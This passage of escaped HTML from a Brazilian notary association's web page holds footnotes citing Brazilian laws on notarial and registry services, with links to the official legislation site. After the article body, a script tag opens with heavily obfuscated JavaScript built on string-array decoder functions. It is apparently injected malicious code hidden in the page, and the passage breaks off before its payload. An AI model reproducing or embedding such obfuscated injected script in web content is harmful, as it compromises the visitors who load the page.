que qualquer serventia fique vaga, sem abertura de concurso de provimento ou de remo&ccedil;&atilde;o, por mais de seis meses. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/constituicao\/constituicaocompilado.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/constituicao\/constituicaocompilado.htm<\/a>&gt; Acesso em: 24 jan. 2018.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref4\">[4]<\/a>&nbsp;BRASIL.&nbsp;<strong>Lei 6.015 de 31 de dezembro de 1973<\/strong>. Disp&otilde;e sobre os registros p&uacute;blicos. Art. 1&ordm; Os servi&ccedil;os concernentes aos Registros P&uacute;blicos, estabelecidos pela legisla&ccedil;&atilde;o civil para autenticidade, seguran&ccedil;a e efic&aacute;cia dos atos jur&iacute;dicos, ficam sujeitos ao regime estabelecido nesta Lei.&nbsp;&nbsp;&sect; 1&ordm; Os Registros referidos neste artigo s&atilde;o os seguintes&nbsp;&ndash; o registro civil de pessoas naturais;&nbsp;II &ndash; o registro civil de pessoas jur&iacute;dicas;&nbsp;III &ndash; o registro de t&iacute;tulos e documentos;&nbsp;IV &ndash; o registro de im&oacute;veis.&nbsp;Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Leis\/L6015consolidado.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/Leis\/L6015consolidado.htm<\/a>&gt; Acesso em: 24 jan. 2018.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref5\">[5]<\/a>&nbsp;BRASIL.&nbsp;<strong>Lei 10.406 de 10 de janeiro de 2.002.<\/strong>&nbsp;Institui o C&oacute;digo Civil. Art. 215. A escritura p&uacute;blica, lavrada em notas de tabeli&atilde;o, &eacute; documento dotado de f&eacute; p&uacute;blica, fazendo prova plena. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/CCivil_03\/leis\/2002\/L10406.htm\">http:\/\/www.planalto.gov.br\/CCivil_03\/leis\/2002\/L10406.htm<\/a>&gt; Acesso em: 24 jan. 2018.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref6\">[6]<\/a>&nbsp;BRASIL.&nbsp;<strong>Lei 6.015 de 31 de dezembro de 1973<\/strong>. Disp&otilde;e sobre os registros p&uacute;blicos. Art. 1&ordm; Os servi&ccedil;os concernentes aos Registros P&uacute;blicos, estabelecidos pela legisla&ccedil;&atilde;o civil para autenticidade, seguran&ccedil;a e efic&aacute;cia dos atos jur&iacute;dicos, ficam sujeitos ao regime estabelecido nesta Lei.&nbsp; Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l6015compilada.htm#%28%20*%20%29\">http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l6015compilada.htm#( * )<\/a>&gt; Acesso em: 24 jan. 2018.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref7\">[7]<\/a>&nbsp;BRASIL.&nbsp;<strong>Lei n&ordm; 8.935 de 18 de novembro de 1994<\/strong>. Regulamenta o art. 236 da Constitui&ccedil;&atilde;o Federal, dispondo sobre servi&ccedil;os notariais e de registro. (Lei dos cart&oacute;rios). Art. 1&ordm; Servi&ccedil;os notariais e de registro s&atilde;o os de organiza&ccedil;&atilde;o t&eacute;cnica e administrativa destinados a garantir a publicidade, autenticidade, seguran&ccedil;a e efic&aacute;cia dos atos jur&iacute;dicos. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l8935.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l8935.htm<\/a>&nbsp;&gt; Acesso em: 24 jan. 2018.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref8\">[8]<\/a>&nbsp;BRASIL.&nbsp;<strong>Lei n&ordm; 13.105 de 16 de mar&ccedil;o de 2015.<\/strong>&nbsp;C&oacute;digo de Processo Civil. Art. 384. &nbsp;A exist&ecirc;ncia e o modo de existir de algum fato podem ser atestados ou documentados, a requerimento do interessado, mediante ata lavrada por tabeli&atilde;o. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2015\/lei\/l13105.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2015\/lei\/l13105.htm<\/a>&gt; Acesso em 24 jan. 2018.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref9\">[9]<\/a>&nbsp;BRASIL.&nbsp;<strong>Lei n&ordm; 8.935 de 18 de novembro de 1994<\/strong>. Regulamenta o art. 236 da Constitui&ccedil;&atilde;o Federal, dispondo sobre servi&ccedil;os notariais e de registro. (Lei dos cart&oacute;rios). &nbsp;Art. 7&ordm; Aos tabeli&atilde;es de notas compete com exclusividade: (..) III &ndash; lavrar atas notariais. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l8935.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l8935.htm<\/a>&gt; Acesso em 24 jan. 2018.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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